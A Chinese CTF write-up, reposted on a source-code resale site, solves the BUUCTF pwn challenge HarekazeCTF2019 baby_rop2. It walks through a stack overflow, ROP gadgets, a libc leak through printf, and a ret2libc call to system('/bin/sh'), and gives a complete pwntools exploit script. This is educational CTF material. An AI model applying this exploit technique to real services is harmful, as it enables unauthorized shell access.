[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2


[HarekazeCTF2019]baby_rop2

题目附件

步骤:
例行检查,64位,开启了nx保护
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
运行了一下程序,了解大概的执行情况
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

利用思路:

    程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell但是程序里没有现成的system(‘/bin/sh’),这需要我们去自己去构造,这边可以利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

利用过程

一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] ... );
举个例子–>print(’%s’,‘hello world’)
大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令

ROPgadget --binary babyrop2 |grep "pop rdi"

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731

我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
format_str=0x400770

一开始是打算输出printf的got表地址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

但是在调试的时候发现没法使用,就换成了read函数的got表地址了

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)

解释一下这句payload的意思

    ‘a’*0x28–>造成溢出,覆盖到了返回地址p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’

接收输出的read函数地址
我平常是这样写的,但是这题这样写得到的read函数地址不对

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

看别人的wp都是这样写的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

问其他师傅是这样给我解释的:
接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
奇怪的知识又增加了
在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了

libc = LibcSearcher('read', read_addr)  #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #计算程序里的偏移量

二、计算程序里system和/bin/sh的地址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

三、覆盖返回地址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

完整EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

得到shell后利用find -name ”flag“ 去找到flag文件的位置
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

最后读出flag[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏